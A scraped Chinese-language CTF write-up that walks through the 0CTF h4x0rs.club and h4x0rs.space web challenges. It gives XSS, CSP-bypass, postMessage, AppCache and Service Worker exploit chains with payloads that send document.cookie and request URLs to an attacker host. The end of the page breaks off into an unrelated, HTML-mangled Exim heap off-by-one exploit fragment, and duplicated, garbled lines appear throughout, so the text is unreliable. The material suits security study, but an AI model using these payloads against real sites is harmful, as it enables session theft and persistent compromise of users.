这样我们就能设置window.name了,如果允许eval的话,就可以通过这种方式绕过长度限制。
h4xors.club2
一个非常有意思的题目,做这题的时候有一点儿钻牛角尖了,后面想来有挺多有意思的点。先分享一个非常秀的非预期解wp。
在分享一个写的比较详细的正解
下面顺着思路一起来看看这题。
Get document .cookie of the administartor.
h4x0rs.club
backend_www got backup at /var/www/html.tar.gz
这个从头到尾都没找到
Hint: Get open-redirect first, lead admin to the w0rld!
Get document .cookie of the administartor.h4x0rs.clubbackend_www got backup at /var/www/html.tar.gz&& 这个从头到尾都没找到&Hint: Get open-redirect first, lead admin to the w0rld!
站内差不多是一个答题站点,用了比较多的第三方库,站内的功能比较有限。
profile.php可以修改自己个人信息
user.php/{id}可以访问自己的个人信息
report.php没什么可说的,向后台发送请求,需要注意的是,直接发送user.php,不能控制
index.php接受msg参数
还有一些特别的点
1、user.php页面的CSP为
Content-Security-Policy:default-src 'none'; img-src * data: ; script-src 'nonce-c8ebe81fcdccc3aca91fb90'; style-src 'self' 'unsafe-inline' fonts.googleapis. font-src 'self' fonts.gstatic. frame-src https://www.google.com/recaptcha/;
Content-Security-Policy:default-src 'none'; img-src * data: ; script-src 'nonce-c8ebe81fcdccc3aca91fb90'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;
非常严格,只允许nonce CSP的script解析
index.php页面的CSP为
Content-Security-Policy:script-src 'nonce-120bad5af0beb6b93aab418bead3d9ab' 'strict-dynamic';
Content-Security-Policy:script-src 'nonce-120bad5af0beb6b93aab418bead3d9ab' 'strict-dynamic';
允许sd CSP动态执行script(这里的出发点可能是index.php是加载游戏的地方,为了适应CSP,必须加入strict-dynamic。)
2、站内有两个xss点
第一个是user.php的profile,储存型xss,没有任何过滤。
第二个是index.php的msg参数,反射性xss,没有任何过滤,但是受限于xss auditor
顺着思路向下
因为user.php页面的CSP非常严格,我们需要跳出这个严格的地方,于是可以通过插入meta标签,跳转到index.php,在这里进一步操作
当然这里我们也可以利用储存型xss和页面内的一段js来构造a标签跳转。
在user.php的查看profile页面,我们可以看到
if(location.hash.slice(1) == 'report'){
document.getElementById('report-btn').click();
if(location.hash.slice(1) == 'report'){&&&&document.getElementById('report-btn').click();}
当我们插入
&a href='//xxx.xx/evil.html' id="report-btn"&
&a href='//xxx.xx/evil.html' id="report-btn"&
/game/user.php/ddog%23report
/game/user.php/ddog%23report
那么这里的a标签就会被点击,同样可以实现跳转。
接着我们探究index.php,这里我们的目标就是怎么能够绕过sd CSP了,当时的第一个想法是&base&,通过修改当前页面的根域,我们可以加载其他域的js(听起来很棒!
可惜如果我们请求
https://h4x0rs.club/game/?msg=
https://h4x0rs.club/game/?msg=
会被xss auditor拦截,最后面没办法加/"&,一个非常有趣的情况出现了
https://h4x0rs.club/game/?msg=%3Cbase%20href=%22http://115.28.78.16
https://h4x0rs.club/game/?msg=%3Cbase%20href=%22http://115.28.78.16
最后的&/h1&中的/被转换成了路径,前面的左尖括号被拼入了域名中,后面的右尖括号闭合标签…一波神奇的操作…
不过这里因为没法处理尖括号域名的事情,所以置于后话不谈。
我们继续讨论绕过sd CSP的思路,这种CSP已知只有一种办法,就是通过现在已有的js代码构造xss,这是一种在去年blackhat大会上google团队公布的CSP Bypass技巧,叫做Script Gadgets。
这里的漏洞点和ppt中的思路不完全一致,但核心思路一样,都是要利用已有js代码中的一些点来构造利用。
站内关于游戏的代码在app.js中的最下面,加载了client.js
function load_clientjs(){
var s = document.createElement('script');
document.body.appendChild(s);
s.src = '/game/javascripts/client.js';
function load_clientjs(){&&&&var s = document.createElement('script');&&&&document.body.appendChild(s);&&&&s.defer = true;&&&&s.src = '/game/javascripts/client.js';}
client.js中的代码不多,有一些值得注意的点,就是客户端是通过postMessage和服务端交互的。
而且所有的交互都没有对来源的校验,也就是可以接受任何域的请求。
ps: 这是一个呆子不开口在2016年乌云峰会上提到的攻击手法,通过postMessage来伪造请求
这样我们可以使用iframe标签来向beckend页面发送请求,通过这种方式来控制返回的消息。
这里我盗用了一张别的wp中的图,来更好的描述这种手法
这里我们的exploit.html充当了中间人的决赛,代替客户端向服务端发送请求,来获取想要的返回
这里我们可以关注一下client.js中的recvmsg
如果我们能控制data.title,通过这里的dom xss,我们可以成功的绕过index.php下的sd CSP限制。
值得注意的是,如果我们试图通过index.php页面的反射性xss来引入iframe标签的话,如果iframe标签中的链接是外域,会被xss auditor拦截。
所以这里需要用user.php的储存型xss跳出。这样利用链比较完整了。
1、首先我们需要注册两个账号,这里使用ddog123和ddog321两个账号。
2、在ddog321账号中设置profile公开,并设置内容为
3、在evil_website.com(这里有个很关键的tips,这里只能使用https站,否则会爆引入混合数据,阻止访问)的index.html向backend发送请求,这里的js需要设置ping和badges,在badges中设置title来引入js
window.addEventListener("message", receiveMessage, false);
var TOKEN,
function receiveMessage(event)
console.log("msg");
data = event.
if(data.cmd =='ping'){
TOKEN = data.TOKEN;
nonce = data.
game.postMessage(data,"*");
if(data.cmd =='badges'){
console.log('badges');
console.log(data);
TOKEN = data.TOKEN;
data.level = 1;
data.title = '\'"&';
console.log(data.title);
// data.title = '\'"&';
game.postMessage(data,"*");
12345678910111213141516171819202122
window.addEventListener("message", receiveMessage, false);var TOKEN,nonce;function receiveMessage(event){console.log("msg");data = event.data;if(data.cmd =='ping'){&&&&TOKEN = data.TOKEN;&&&&nonce = data.nonce;&&&&game.postMessage(data,"*");}if(data.cmd =='badges'){&&&&console.log('badges');&&&&console.log(data);&&&&TOKEN = data.TOKEN;&&&&data.level = 1;&&&&data.title = '\'"&';&&&&console.log(data.title);&&&&// data.title = '\'"&';&&&&game.postMessage(data,"*");}}
4、在ddog123账户中设置profile为
&meta http-equiv="refresh" content="0;https://h4x0rs.club/game/?msg=1%3Ciframe%20name=game_server%20src=/game/user.php/ddog321%20%3E%3C/iframe%3E"&
<meta http-equiv="refresh" content="0;https://h4x0rs.club/game/?msg=1%3Ciframe%20name=game_server%20src=/game/user.php/ddog321%20%3E%3C/iframe%3E">
5、最后在1.js中加入利用代码,发送report给后台等待返回即可。
h4x0rs.space
TCTF/0CTF中的压轴题目,整个题目的利用思路都是近几年才被人们提出来的,这次比赛我也是第一次遇到环境,其中关于Appcache以及Service Worker的利用方式非常有趣,能在特殊环境下起到意想不到的作用。
下面的Writeup主要来自于
I've made a blog platform let you write your secret.
Nobody can know it since I enabled all of modern web security mechanism, is it cool, huh?
Get document. cookie of the admin.
h4x0rs.space
Hint: Every bug you found has a reason, and you may want to check some uncommon HTML5 features Also notice that, the admin is using real browser, since I found out Headless is not much real-world. GL
Hint 2: W3C defines everything, but sometimes browser developers decided to implement in their way, get the same browser to admin and test everything on it.
Hint 3: Can you make "500 Internal Server Error" from a post /blog.php/{id} ? Make it fall, the good will come. And btw, you can solve without any automatic tool. Connect all the dots.
Last Hint: CACHE
1234567891011121314
I've made a blog platform let you write your secret. Nobody can know it since I enabled all of modern web security mechanism, is it cool, huh?&Get document. cookie of the admin.&h4x0rs.space&Hint: Every bug you found has a reason, and you may want to check some uncommon HTML5 features Also notice that, the admin is using real browser, since I found out Headless is not much real-world. GL&Hint 2: W3C defines everything, but sometimes browser developers decided to implement in their way, get the same browser to admin and test everything on it.&Hint 3: Can you make "500 Internal Server Error" from a post /blog.php/{id} ? Make it fall, the good will come. And btw, you can solve without any automatic tool. Connect all the dots.&Last Hint: CACHE
先简单说一下整个题目逻辑
1、站内是一个生成文章的网站,可以输入title,content,然后可以上传图片,值得注意的是,这里的所有输入都会被转义,生成的文章内容不存在xss点。
2、站内开启CSP,而且是比较严格的nonce CSP
Content-Security-Policy:
default- frame-src https://h4x0rs.space/blog/untrusted_files/embed/embed.php https://www.google.com/recaptcha/; script-src 'nonce-05c13d07976dba84c4f29f4fd4921830'; style-src 'self' 'unsafe-inline' fonts.googleapis. font-src fonts.gstatic. img-src *; connect-src https://h4x0rs.space/blog/report.
Content-Security-Policy:default-src none; frame-src https://h4x0rs.space/blog/untrusted_files/embed/embed.php https://www.google.com/recaptcha/; script-src 'nonce-05c13d07976dba84c4f29f4fd4921830'; style-src 'self' 'unsafe-inline' fonts.googleapis. font-src fonts.gstatic. img-src *; connect-src https://h4x0rs.space/blog/report.
3、文章内引入了类似短标签的方式可以插入部分标签,例如[img]test[/img]。
值得注意的是这里有一个特例
case 'instagram':
var dummy = document.createElement('div');
dummy.innerHTML = ``; // dummy object since f.frameborder=0 doesn't work.
var f = dummy.firstElementC
var base = 'https://h4x0rs.space/blog/untrusted_files/embed/embed.php';
if(e['name'] == 'youtube'){
f.width = 500;
f.height = 330;
f.src = base+'?embed='+found[1]+'&p=youtube';
} else if(e['name'] == 'instagram') {
f.width = 350;
f.height = 420;
f.src = base+'?embed='+found[1]+'&p=instagram';
var d_iframe = document.createElement('div');
d_iframe.id = 'embed'+iframes_delayed. // loading iframe at same time may cause overload. delay it.
iframes_delayed.push( document.createElement('div').appendChild(f).parentElement.innerHTML /* hotfix: to get iframe html
o.innerHTML = o.innerHTML.replace( found[0], d_iframe.outerHTML );
12345678910111213141516171819
case 'instagram': var dummy = document.createElement('div'); dummy.innerHTML = ``; // dummy object since f.frameborder=0 doesn't work. var f = dummy.firstElementChild; var base = 'https://h4x0rs.space/blog/untrusted_files/embed/embed.php'; if(e['name'] == 'youtube'){
f.width = 500;
f.height = 330;
f.src = base+'?embed='+found[1]+'&p=youtube'; } else if(e['name'] == 'instagram') {
f.width = 350;
f.height = 420;
f.src = base+'?embed='+found[1]+'&p=instagram'; } var d_iframe = document.createElement('div'); d_iframe.id = 'embed'+iframes_delayed.length; // loading iframe at same time may cause overload. delay it. iframes_delayed.push( document.createElement('div').appendChild(f).parentElement.innerHTML /* hotfix: to get iframe html&&*/ ); o.innerHTML = o.innerHTML.replace( found[0], d_iframe.outerHTML ); break;
如果插入[ig]123[/ig]就会被转为引入https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=123&p=instagram的iframe。
值得注意的是,embed.php中的embed这里存在反射性xss点,只要闭合注释就可以插入标签,遗憾的是这里仍然会被CSP限制。
https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--&alert()&p=instagram
https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--&alert()&p=instagram
4、站内有一个jsonp的接口,但不能传尖括号,后面的文章内容什么的也没办法逃逸双引号。
https://h4x0rs.space/blog/pad.php?callback=render&id=c3c0ec4e9a81efa9c3db95e5abc4145011cdf2bf9d
https://h4x0rs.space/blog/pad.php?callback=render&id=c3c0ec4e9a81efa9c3db95e5abc4145011cdf2bf9d
5、图片上传的接口可以上传SVG,图片在站内同源,并且不受到CSP的限制,我们可以在SVG中执行js代码,来绕过CSP,而重点就是,我们只能提交blog id,我们需要找到一个办法来让它执行。
AppCache 的利用
在提示中,我们很明显可以看到cache这个提示,这里的提示其实是说,利用appcache来加载svg的方式。
在这之前,我们可能需要了解一下什么是Appcache。具体可以看这篇文章。
这是一种在数年前随H5诞生的一种可以让开发人员指定浏览器缓存哪些文件以供离线访问,在缓存情况下,即使用户在离线状态刷新页面也同样不会影响访问。
Appcache的开启方法是在html标签下添加manifest属性
&html manifest="example.appcache"&
<html manifest="example.appcache">&&...</html>
这里的example.appcache可以是相对路径也可以是绝对路径,清单文件的结构大致如下:
CACHE MANIFEST
# Explicitly cached 'master entries'.
/favicon.ico
index.html
stylesheet.css
images/logo.png
scripts/main.js
# Resources that require the user to be online.
http://api.twitter.com
# static.html will be served if main.py is inaccessible
# offline.jpg will be served in place of all images in images/large/
# offline.html will be served in place of all other .html files
/main.py /static.html
images/large/ images/offline.jpg
*.html /offline.html
123456789101112131415161718192021222324
CACHE MANIFEST# :v2&# Explicitly cached 'master entries'.CACHE:/favicon.icoindex.htmlstylesheet.cssimages/logo.pngscripts/main.js&# Resources that require the user to be online.NETWORK:login.php/myapihttp://api.twitter.com&# static.html will be served if main.py is inaccessible# offline.jpg will be served in place of all images in images/large/# offline.html will be served in place of all other .html filesFALLBACK:/main.py /static.htmlimages/large/ images/offline.jpg*.html /offline.html
CACHE:这是条目的默认部分。系统会在首次下载此标头下列出的文件(或紧跟在 CACHE MANIFEST 后的文件)后显式缓存这些文件。
NETWORK:此部分下列出的文件是需要连接到服务器的白名单资源。无论用户是否处于离线状态,对这些资源的所有请求都会绕过缓存。可使用通配符。
FALLBACK:此部分是可选的,用于指定无法访问资源时的后备网页。其中第一个 URI 代表资源,第二个代表后备网页。两个 URI 必须相关,并且必须与清单文件同源。可使用通配符。
这里有一点儿很重要,关于Appcache,您必须修改清单文件本身才能让浏览器刷新缓存文件。
去年公开了一个利用Appache来攻击沙箱域的方法。
这里正是使用了Appcache的FALLBACK文件,我们可以通过上传恶意的svg文件,形似
fetch(`https://my-domain/?${document.cookie}`)
fetch(`https://my-domain/?${document.cookie}`)
然后将manifest设置为相对目录的svg文件路径,形似
&!-- DEBUG
embed_id: --&
&!-- DEBUG embed_id: --&-->
在这种情况下,如果我们能触发页面500,那么页面就会跳转至FALLBACK指定页面,我们成功引入了一个任意文件跳转。
紧接着,我们需要通过引入[ig]a#[/ig],通过拼接url的方式,这里的#会使后面的&instagram无效,使页面返回500错误,缓存就会将其引向FALLBACK设置页面。
这里的payload形似
[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
123456789101112
[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E[/yt]&[yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt]
这里之所以会引入多个a#是因为缓存中FALLBACK的加载时间可能慢于单个iframe的加载时间,所以需要引入多个,保证FALLBACK的生效。
最后发送文章id到后台,浏览器访问文章则会触发下面的流程。
上面的文章会转化为
&iframe width=&0& height=&0& src=&https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E&p=youtube& frameborder=&0& allow=& encrypted-media& allowfullscreen&&/iframe&
&iframe width=&0& height=&0& src=&https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=a#&p=youtube& frameborder=&0& allow=& encrypted-media& allowfullscreen&&/iframe&
<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST].svg%3E&p=youtube& frameborder=&0& allow=& encrypted-media& allowfullscreen&&/iframe&&&<iframe width="0" height="0" src="https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=a#&p=youtube& frameborder=&0& allow=& encrypted-media& allowfullscreen&&/iframe&
上面的iframe标签会引入我们提前上传好的manfiest文件
CACHE MANIFEST
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg
CACHE MANIFEST&FALLBACK:/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg
并将FALLBACK设置为/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg
然后下面的iframe标签会访问/blog/untrusted_files/embed/embed.php?embed=a并处罚500错误,跳转为提前设置好的svg页面,成功逃逸CSP。
当我们第一次读取到document.cookie时,返回为
OK! You got me... This is your reward: "flag{m0ar_featureS_" Wait, I wonder if you could hack my server. Okay, shall we play a game? I am going to check my secret blog post where you can find the rest of flag in next 5 seconds. If you know where I hide it, you win! Good luck. For briefly, I will open a new tab in my browser then go to my https://h4x0rs.space/blog.php/*secret_id* . You have to find where is it. 1...2...3...4..5... (Contact me @l4wio on IRC if you have a question)
OK! You got me... This is your reward: "flag{m0ar_featureS_" Wait, I wonder if you could hack my server. Okay, shall we play a game? I am going to check my secret blog post where you can find the rest of flag in next 5 seconds. If you know where I hide it, you win! Good luck. For briefly, I will open a new tab in my browser then go to my https://h4x0rs.space/blog.php/*secret_id* . You have to find where is it. 1...2...3...4..5... (Contact me @l4wio on IRC if you have a question)
大致意思是说,bot会在5秒后访问flag页面,我们需要获取这个id。
Service Worker的利用
仔细回顾站内的功能,根据出题人的意思,这里会跳转到形似https://h4x0rs.space/blog/[blog_post_id]的url,通过Appcache我们只能控制/blog/untrusted_files/这个目录下的缓存,这里我们需要控制到另一个选项卡的状态。
在不具有窗口引用办法的情况下,这里只有使用Service Worker来做持久化利用。
关于Service Worker忽然发现以前很多人提到过,但好像一直都没有被重视过。这种一种用来替代Appcache的离线缓存机制,他是基于Web Worker的事件驱动的,他的执行机制都是通过新启动线程解决,比起Appcache来说,它可以针对同域下的整站生效,而且持续保存至浏览器重启都可以重用。
下面是两篇关于service worker的文档:
使用Service Worker有两个条件:
1、Service Worker只生效于https://或者http://localhost/下2、其次你需要浏览器支持,现在并不是所有的浏览器都支持Service Worker。
当我们满足上述条件,并且有一个xss利用点时,我们可以尝试构造一个持久化xss利用点,但在利用之前,我们需要更多条件。
1、如果我们使用navigator.serviceWorker.register来注册js,那么这里请求的url必须同源而且请求文件返回头必须为text/javascript, application/x-javascript, application/javascript中的一种。
2、假设站内使用onfetch接口获取内容,我们可以通过hookfetch接口,控制返回来触发持久化控制。
对于第一种情况来说,或许我们很难找到上传js的接口,但不幸的是,jsonp接口刚好符合这样的所有条件~~
具体的利用方式我会额外在写文分析这个,详情可以看这几篇文章:
最后的这个ppt最详细,但他是日语的,读起来非常吃力。
这里回到题目,我们可以注意到站内刚好有一个jsonp接口
https://h4x0rs.space/blog/pad.php?callback=render&id=c3c0ec4e9a81efa9c3db95e5abc4145011cdf2bf9d
https://h4x0rs.space/blog/pad.php?callback=render&id=c3c0ec4e9a81efa9c3db95e5abc4145011cdf2bf9d
值得注意的是,这里的callback接口有字数限制,这里可以通过和title的配合,通过注释来引入任何我们想要的字符串。
/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=&{fetch(`https://my-domain/?${e.request.url}`)}//","time":" 12:32:00","image_type":""});
/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":" 12:32:00","image_type":""});
这里需要注意的是,在serviceWorker线程中,我们并不能获取所有的对象,所以这里直接获取当前请求的url。
完整的利用链如下:
1、将*/onfetch=e=&{fetch(https://my-domain/?${e.request.url})}//写入文章内,并保留下文章id。
2、构造jsonp接口https://h4x0rs.space/blog/pad.php?callback=/*&id={sw_post_id}
/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=&{fetch(`https://my-domain/?${e.request.url}`)}//","time":" 12:32:00","image_type":""});
/*({"data":"QQ==","id":"[BLOG_POST_ID_SW]","title":"*/onfetch=e=>{fetch(`https://my-domain/?${e.request.url}`)}//","time":" 12:32:00","image_type":""});
3、上传svg,https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg
navigator.serviceWorker.register('/blog/pad.php?callback=/*&id={sw_post_id}')
navigator.serviceWorker.register('/blog/pad.php?callback=/*&id={sw_post_id}')
4、构造manifest文件,https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg
CACHE MANIFEST
/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_SW].svg
CACHE MANIFEST&FALLBACK:/blog/untrusted_files/embed/embed.php?embed=a /blog/untrusted_files/[SVG_HAVING_SW].svg
5、构造embed页面url
https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=/blog/untrusted_files/[SVG_MANIFEST_SW].svg%3E&p=youtube
https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=--%3E%3Chtml%20manifest=/blog/untrusted_files/[SVG_MANIFEST_SW].svg%3E&p=youtube
6、最后构造利用文章内容
[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST_SW].svg%3E[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
[yt]a#[/yt]
123456789101112
[yt]--%3E%3Chtml%20manifest=%2Fblog%2Funtrusted_files%2F[SVG_MANIFEST_SW].svg%3E[/yt]&[yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt][yt]a#[/yt]
7、发送post id即可
作者:知道创宇404实验室 | Categories: | Tags:
第二块正在被使用0x2000大小的sender_host_name
第三块未被使用,并且和之后堆块合并, 0x6060大小的chunk
我们现在再回过头来想想各个chunk的size的设置的问题
第一个chunk是用来触发off by one漏洞,用来修改第二个CHUNK的size位,只能溢出1byte
store_get最小分配一个0x2020的chunk,能储存0x2000的数据
这就导致了,如果按照store_get的最小情况来,只能溢出覆盖掉第二个chunk的pre_size位
然后因为(0x==0,所以我们能通过b64decode函数的漏洞申请一个能储存0x2008的数据,size=0x2020的chunk,然后溢出一个字节到下一个chunk的size位
第二块chunk,我们首先需要考虑,因为只能修改一个字节,所以最大只能从0x00扩展到0xf0
其次,我们假设第二块chunk的原始size=0x2021,然后被修改成0x20f1,我们还需要考虑第二块chunk+0x20f1位置的堆块我们是否可控,因为需要伪造一个fake chunk,来bypass free函数的安全检查。
经过多次调试,发现当第二块chunk的size=0x2001时,更方便后续的利用
第三个chunk只要求大于一个store_get申请的最小size(0x2020)就行了
根据第三步叙述的,我们来触发off by one漏洞
&ol class="linenums"&&li class="L0"&&code class="lang-python"&&span class="pln"&payload1 &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="str"&"HfHf"&/span&&span class="pun"&*&/span&&span class="lit"&0xaae&/span&&/code&&/li&&li class="L1"&&code class="lang-python"&&span class="pln"&p&/span&&span class="pun"&.&/span&&span class="pln"&sendline&/span&&span class="pun"&(&/span&&span class="str"&"AUTH CRAM-MD5"&/span&&span class="pun"&)&/span&&/code&&/li&&li class="L2"&&code class="lang-python"&&span class="pln"&p&/span&&span class="pun"&.&/span&&span class="pln"&sendline&/span&&span class="pun"&(&/span&&span class="pln"&payload1&/span&&span class="pun"&[:-&/span&&span class="lit"&1&/span&&span class="pun"&])&/span&&/code&&/li&&li class="L3"&&code class="lang-python"&&span class="com"&# heap&/span&&/code&&/li&&li class="L4"&&code class="lang-python"&&span class="lit"&0x1d15180&/span&&span class="pln"& PREV_INUSE &/span&&span class="pun"&{&/span&&/code&&/li&&li class="L5"&&code class="lang-python"&&span class="pln"&
prev_size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x0&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L6"&&code class="lang-python"&&span class="pln"&
size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x2021&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L7"&&code class="lang-python"&&span class="pln"&
fd &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1d191b0&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L8"&&code class="lang-python"&&span class="pln"&
bk &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x2008&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L9"&&code class="lang-python"&&span class="pln"&
fd_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0xf11ddff11ddff11d&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L0"&&code class="lang-python"&&span class="pln"&
bk_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1ddff11ddff11ddf&/span&&/code&&/li&&li class="L1"&&code class="lang-python"&&span class="pun"&}&/span&&/code&&/li&&li class="L2"&&code class="lang-python"&&span class="lit"&0x1d171a0&/span&&span class="pln"& PREV_INUSE &/span&&span class="pun"&{&/span&&/code&&/li&&li class="L3"&&code class="lang-python"&&span class="pln"&
prev_size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1ddff11ddff11ddf&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L4"&&code class="lang-python"&&span class="pln"&
size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x20f1&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L5"&&code class="lang-python"&&span class="pln"&
fd &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L6"&&code class="lang-python"&&span class="pln"&
bk &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L7"&&code class="lang-python"&&span class="pln"&
fd_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L8"&&code class="lang-python"&&span class="pln"&
bk_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&/code&&/li&&li class="L9"&&code class="lang-python"&&span class="pun"&}&/span&&/code&&/li&&li class="L0"&&code class="lang-python"&&span class="lit"&0x1d19290&/span&&span class="pln"& PREV_INUSE IS_MMAPED &/span&&span class="pun"&{&/span&&/code&&/li&&li class="L1"&&code class="lang-python"&&span class="pln"&
prev_size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L2"&&code class="lang-python"&&span class="pln"&
size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L3"&&code class="lang-python"&&span class="pln"&
fd &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L4"&&code class="lang-python"&&span class="pln"&
bk &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L5"&&code class="lang-python"&&span class="pln"&
fd_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L6"&&code class="lang-python"&&span class="pln"&
bk_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x6363&/span&&/code&&/li&&li class="L7"&&code class="lang-python"&&span class="pun"&}&/span&&/code&&/li&&/ol&
&ol class="linenums"&&li class="L0"&&code class="lang-python"&&span class="pln"&payload1 &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="str"&"HfHf"&/span&&span class="pun"&*&/span&&span class="lit"&0xaae&/span&&/code&&/li&&li class="L1"&&code class="lang-python"&&span class="pln"&p&/span&&span class="pun"&.&/span&&span class="pln"&sendline&/span&&span class="pun"&(&/span&&span class="str"&"AUTH CRAM-MD5"&/span&&span class="pun"&)&/span&&/code&&/li&&li class="L2"&&code class="lang-python"&&span class="pln"&p&/span&&span class="pun"&.&/span&&span class="pln"&sendline&/span&&span class="pun"&(&/span&&span class="pln"&payload1&/span&&span class="pun"&[:-&/span&&span class="lit"&1&/span&&span class="pun"&])&/span&&/code&&/li&&li class="L3"&&code class="lang-python"&&span class="com"&# heap&/span&&/code&&/li&&li class="L4"&&code class="lang-python"&&span class="lit"&0x1d15180&/span&&span class="pln"& PREV_INUSE &/span&&span class="pun"&{&/span&&/code&&/li&&li class="L5"&&code class="lang-python"&&span class="pln"&&&prev_size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x0&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L6"&&code class="lang-python"&&span class="pln"&&&size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x2021&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L7"&&code class="lang-python"&&span class="pln"&&&fd &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1d191b0&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L8"&&code class="lang-python"&&span class="pln"&&&bk &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x2008&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L9"&&code class="lang-python"&&span class="pln"&&&fd_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0xf11ddff11ddff11d&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L0"&&code class="lang-python"&&span class="pln"&&&bk_nextsize &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1ddff11ddff11ddf&/span&&/code&&/li&&li class="L1"&&code class="lang-python"&&span class="pun"&}&/span&&/code&&/li&&li class="L2"&&code class="lang-python"&&span class="lit"&0x1d171a0&/span&&span class="pln"& PREV_INUSE &/span&&span class="pun"&{&/span&&/code&&/li&&li class="L3"&&code class="lang-python"&&span class="pln"&&&prev_size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x1ddff11ddff11ddf&/span&&span class="pun"&,&/span&&/code&&/li&&li class="L4"&&code class="lang-python"&&span class="pln"&&&size &/span&&span class="pun"&=&/span&&span class="pln"& &/span&&span class="lit"&0x20f1&/span&&span class="pun"&,&/span&&/code&&/li&&li 